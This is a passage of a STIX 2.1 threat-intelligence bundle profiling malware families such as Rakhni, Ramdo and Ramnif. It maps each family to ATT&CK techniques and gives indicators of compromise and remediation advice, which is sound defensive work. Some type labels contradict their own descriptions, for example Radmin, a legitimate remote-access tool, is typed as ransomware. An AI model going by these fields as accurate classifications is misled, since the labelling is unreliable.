        "Ransom:Win32/Qzonit",
        "Trojan-Ransom.Win32.Qzonit",
        "Win32/Qzonit",
        "Ransom.Qzonit",
        "Ransom:Win32/Qzonit.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qzonit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qzonit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32d0e77d-f998-546d-b490-1b6bfa2b5bf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f09653b7-bd54-59f5-9a6b-aab49c22a6e9",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qzonit exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--070fcd26-8326-5283-936a-437e4202a427",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f09653b7-bd54-59f5-9a6b-aab49c22a6e9",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qzonit exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43a2e73b-630c-5c55-9200-51bac332447c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f09653b7-bd54-59f5-9a6b-aab49c22a6e9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qzonit exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8998dcdc-f083-5ec0-b89a-cd9252dbfa3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f09653b7-bd54-59f5-9a6b-aab49c22a6e9",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qzonit exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b48f82d9-b9ee-5c66-8e47-ad01d11ef5f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f09653b7-bd54-59f5-9a6b-aab49c22a6e9",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qzonit exhibits technique T1070.004 (Indicator Removal: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1db2e658-48e9-5872-9bba-fff9090e73dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rabased",
      "description": "Trojan:Win32/Rabased is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rabased</b><br>To an end-user, a Rabased infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rabased is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rabased is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rabased frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rabased reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rabased",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rabased"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84c17164-0ad0-59f7-ab0a-90d31c3f40a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1db2e658-48e9-5872-9bba-fff9090e73dc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rabased exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d42a810-a4b8-55ef-86bb-34414dc12862",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1db2e658-48e9-5872-9bba-fff9090e73dc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rabased exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09c5e785-3e75-5100-bc07-10329d218cef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1db2e658-48e9-5872-9bba-fff9090e73dc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rabased exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bbbad96-0433-5bc6-903c-9da8fd4c0929",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1db2e658-48e9-5872-9bba-fff9090e73dc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rabased exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28ebc41e-591f-5144-bc74-dd0ba0f8c6ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1db2e658-48e9-5872-9bba-fff9090e73dc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rabased exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9bc306ef-1aa7-5ecf-a0f5-024ec2714404",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Radmin",
      "description": "RemoteAdmin:Win32/Radmin (Remote Administrator) is a legitimate, commercial remote control software application. However, because it provides full, interactive GUI access, file transfer capabilities, and operates silently in the background (as a Windows Service), it is frequently weaponized by advanced threat actors (APTs) and ransomware cartels. They deploy it as a stealthy, persistent backdoor to maintain access and facilitate lateral movement across a compromised network (`T1219`).<br><br><b>Understanding Radmin (Abused Legitimate Tools)</b><br>To an end-user, Radmin operates invisibly if configured as a service by an attacker. For a security team, the unauthorized presence of Radmin is a 'Code Red'. Like AnyDesk or TeamViewer, it is a classic 'Living off the Land' tool. Because the binaries (`rserver3.exe`, `FamImaf.sys`) are digitally signed by a legitimate software company (Famatech), many antivirus engines will ignore them by default, allowing the attacker unfettered access.<br><br><b>Execution and Abuse Mechanics</b><br>Attackers do not typically use Radmin for initial access. It is deployed post-compromise (`T1105`). Once an attacker has administrative rights on a machine (e.g., via compromised credentials), they silently install the Radmin Server component (`T1543.003`). They configure it to hide its system tray icon, set a strong custom password, and open a listening port (default is TCP 4899). The attacker can now connect to this machine from anywhere, completely bypassing standard EDR behavioral checks, as the remote activity appears to be legitimate administrative work.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total, interactive control of the host and a launchpad for lateral movement. Host-based IoCs include the presence of `rserver3.exe`, the associated Famatech driver files, and the creation of the 'Radmin Server' Windows service. EDR should monitor for the installation of these binaries in unusual directories (e.g., `%Temp%`). Network IoCs include inbound connections on TCP port 4899 (or a custom configured port) originating from outside the recognized corporate admin subnets. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Radmin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/radmin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--145b400b-76a8-532c-8ab1-f8aac21e78ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc306ef-1aa7-5ecf-a0f5-024ec2714404",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Radmin exhibits technique T1219 (Remote Access Software (Abusing a commercial RAT for backdoor access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a1ae0de-5408-528a-a20a-0315199242ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc306ef-1aa7-5ecf-a0f5-024ec2714404",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Radmin exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Installing Radmin Server for persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aec05d8b-3fab-57c1-a4da-ab795e54f000",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9bc306ef-1aa7-5ecf-a0f5-024ec2714404",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Radmin exhibits technique T1105 (Ingress Tool Transfer (Deploying the Radmin binaries post-compromise))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8633686b-61bc-5b00-b31b-c46979c693ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ragua",
      "description": "<h3>Executive Summary</h3>\nRagua is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRagua is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Ragua operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Ragua ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Ragua receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Ragua infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Ragua executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Ragua frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ragua",
        "Downloader.Ragua",
        "Win32/Ragua"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ragua",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ragua"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da7eecb6-96b2-572b-9a87-1dfbac2e6853",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8633686b-61bc-5b00-b31b-c46979c693ce",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ragua exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5793281b-d01b-5278-82e9-555289bebc1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8633686b-61bc-5b00-b31b-c46979c693ce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ragua exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ba8f274-f007-59c8-8431-44da936fe032",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8633686b-61bc-5b00-b31b-c46979c693ce",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ragua exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95ad401b-64bb-5a96-9b28-f7c238b02bb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rakhni",
      "description": "<h3>Executive Summary</h3>\nRakhni is a notorious and highly versatile malware family that originally emerged as Ransomware but evolved into a multifaceted threat capable of acting as both a crypto-locker and a persistent Cryptocurrency Miner. Developed in Delphi, Rakhni is particularly dangerous because it dynamically assesses the infected environment, choosing whether to deploy ransomware or a stealthy cryptominer based on the target's perceived value and processing power.\n\n<h3>Infection Vector and Dynamic Execution</h3>\nRakhni is predominantly distributed via massive spam campaigns containing malicious attachments (often disguised as PDFs or Office documents containing macro exploits) or via exploit kits.\n\nUpon execution, Rakhni performs a series of environmental checks that dictate its behavior:\n<ul>\n<li><strong>The Decision Matrix:</strong> The malware checks for the presence of a specific folder (often related to Bitcoin Core). If it finds evidence of high-value cryptocurrency activity, it will likely deploy the Ransomware module. If the machine appears to be a standard workstation with sufficient CPU power, it will deploy the Cryptominer (typically XMRig for mining Monero) to generate long-term, stealthy income.</li>\n<li><strong>Ransomware Operations:</strong> If triggered, the ransomware module encrypts a wide range of files using strong cryptography, appending specific extensions (like `.locked` or `.rakhni`) to the files, and drops a ransom note demanding payment.</li>\n<li><strong>Cryptomining Operations:</strong> If the miner is deployed, Rakhni establishes persistence, often utilizing process hollowing to inject the XMRig mining payload into legitimate Windows processes (like `svchost.exe`) to hide its CPU usage from casual inspection.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Rakhni infection is a severe incident with dual implications. The ransomware payload causes immediate, catastrophic data loss and operational downtime. The cryptomining payload, while stealthier, severely degrades system performance, increases hardware wear, and indicates a critical failure in endpoint security controls.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Isolate the infected endpoint immediately to sever communication with the attacker's C2 infrastructure (halting both encryption key exchange and cryptomining pool communication).</li>\n<li><strong>Decryption Tools:</strong> Rakhni is one of the older ransomware families, and significant flaws were found in its cryptography. Free decryption tools (often provided by Kaspersky or the \"No More Ransom\" project) are available for many variants of Rakhni. <strong>Do not pay the ransom.</strong></li>\n<li><strong>Complete System Re-image:</strong> Whether acting as ransomware or a miner, Rakhni establishes deep persistence and often drops secondary malware. A complete wipe and re-image of the system is the recommended remediation strategy.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Ransom.Win32.Rakhni",
        "CoinMiner.Rakhni",
        "Win32/Rakhni"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rakhni",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rakhni"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f751b1b5-abb1-582b-9307-6fbebc6fe81a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95ad401b-64bb-5a96-9b28-f7c238b02bb8",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rakhni exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51c84f6b-c2e1-5a44-9180-bea9413f38e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95ad401b-64bb-5a96-9b28-f7c238b02bb8",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rakhni exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0384c4a-8bb4-57bc-a1f1-5cb00c1e6cbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95ad401b-64bb-5a96-9b28-f7c238b02bb8",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rakhni exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47a58f77-f9a4-5abb-9cb9-37db3d2cdba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ramdo",
      "description": "<h3>Executive Summary</h3>\nRamdo (also known as Redyms) is a specialized Trojan and botnet client explicitly designed for click fraud and search engine manipulation. Active since at least 2013, it silently hijacks a victim's computing resources and internet connection to automatically \"click\" on online advertisements, generating fraudulent pay-per-click revenue for the attackers. It operates entirely in the background, making it highly difficult for a user to detect without security software.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRamdo is almost exclusively distributed via exploit kits (such as the historically prominent Magnitude Exploit Kit) hosted on compromised or malicious websites. Users are infected silently via drive-by downloads when visiting these sites with an unpatched web browser or plugin (like Flash or Java).\n\nIts technical operation focuses on covert web interaction:\n<ul>\n<li><strong>Hidden Browser Instances:</strong> Upon execution, Ramdo creates invisible, hidden instances of legitimate web browsers (like Internet Explorer or Chrome). The user sees no browser window, but the malware is actively surfing the web in the background.</li>\n<li><strong>Automated Click Fraud:</strong> The malware receives a list of target URLs (ads) from its Command and Control (C2) server. It uses the hidden browser instances to load these ads and programmatically simulate human clicks, generating fraudulent revenue for the attacker's affiliate accounts.</li>\n<li><strong>Domain Generation Algorithm (DGA):</strong> Ramdo utilizes a DGA to locate its C2 servers. It algorithmically generates hundreds of potential domain names daily, attempting to connect to them. This makes it highly resilient against simple DNS blocklists or domain takedowns.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Ramdo does not directly steal files or deploy ransomware, it poses a significant threat to network performance and operational integrity. A Ramdo infection consumes considerable bandwidth and CPU resources. Furthermore, the presence of Ramdo indicates that the endpoint is vulnerable to exploit kits, meaning more destructive malware could easily follow.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Traffic Analysis:</strong> Security teams should monitor DNS logs for the telltale signs of a DGA (hundreds of failed DNS queries for nonsensical, random-looking domain names). This is the fastest way to identify a Ramdo infection on the network.</li>\n<li><strong>Malware Removal:</strong> Utilize enterprise antivirus or EDR to scan and remove the Ramdo executable. Pay close attention to hidden startup folders and registry `Run` keys where it establishes persistence.</li>\n<li><strong>Vulnerability Patching:</strong> Because Ramdo spreads via exploit kits, the infection is proof of unpatched software. The affected endpoint must have its OS and all third-party software (browsers, plugins, PDF readers) immediately updated to close the initial infection vector.</li>\n</ul> (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ramdo",
        "ClickFraud.Redyms",
        "Win32/Ramdo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ramdo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ramdo"
        }
      ],
      "labels": [
        "click_fraud",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acde4627-a691-5ae2-bad7-535caf6a845a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a58f77-f9a4-5abb-9cb9-37db3d2cdba4",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramdo exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e882a76e-e0bb-5282-af74-59091632b411",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a58f77-f9a4-5abb-9cb9-37db3d2cdba4",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramdo exhibits technique T1129 (Shared Modules (Direct API calls via DllCall))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db3577fd-2098-5934-9fcc-2de30d38daf8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47a58f77-f9a4-5abb-9cb9-37db3d2cdba4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramdo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5b0d97dd-11b7-51e8-97e9-4869db0c6989",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ramnif",
      "description": "<h3>Executive Summary</h3>\nRamnif is a heavily obfuscated alias and variant of the notorious **Ramnit** malware family. Originally discovered in 2010 as a self-replicating worm, Ramnit/Ramnif evolved into a highly sophisticated, modular Banking Trojan and botnet. It is designed for massive data theft, specifically targeting financial credentials, session cookies, and corporate FTP access.\n\n<h3>Propagation and Execution Lifecycle</h3>\nRamnif utilizes multiple vectors for distribution, including exploit kits (like Angler or RIG) hosted on compromised websites, malicious spam campaigns, and lateral movement via infected removable USB drives.\n\nOnce a host is compromised, Ramnif's operations are extensive:\n<ul>\n<li><strong>File Infection (Worm Capability):</strong> Unlike many modern trojans, Ramnif retains its original worm capabilities. It actively searches the local hard drive and attached network shares, injecting malicious code into `.exe`, `.dll`, and `.html` files. This file-infector capability makes complete eradication exceptionally difficult.</li>\n<li><strong>Web Injection and Credential Theft:</strong> Ramnif acts as a classic banking trojan. It hooks into web browsers and utilizes Man-in-the-Browser (MitB) techniques to inject malicious HTML/JavaScript into legitimate banking websites. This allows it to steal login credentials, intercept two-factor authentication (2FA) codes, and alter transaction details in real-time.</li>\n<li><strong>FTP Harvesting:</strong> The malware actively scans for and extracts stored credentials from popular FTP clients (like FileZilla or WinSCP), providing attackers with the keys to compromise external corporate web infrastructure.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Ramnif infection is a severe, multi-faceted security incident. It represents an immediate financial threat due to banking credential theft, while its worm-like self-replication threatens to rapidly contaminate the entire corporate network, complicating incident response efforts.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Aggressive Network Isolation:</strong> Due to its file-infecting nature, infected machines must be immediately disconnected from all internal networks and VPNs to halt the infection of shared network drives.</li>\n<li><strong>Comprehensive System Re-image:</strong> Attempting to \"clean\" a Ramnif infection using antivirus software is highly risky because the malware alters legitimate system files. The only guaranteed method of eradication is a complete wipe and re-image of the compromised host from a known good baseline.</li>\n<li><strong>Enterprise Password Reset:</strong> Following containment, all credentials utilized on the infected host\u2014especially banking, VPN, and FTP passwords\u2014must be immediately revoked and reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ramnit",
        "Worm.Ramnif",
        "Win32/Ramnit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ramnif",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ramnif"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--509590a7-639b-5d22-a6b6-6f92af3f4162",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5b0d97dd-11b7-51e8-97e9-4869db0c6989",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ramnif exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
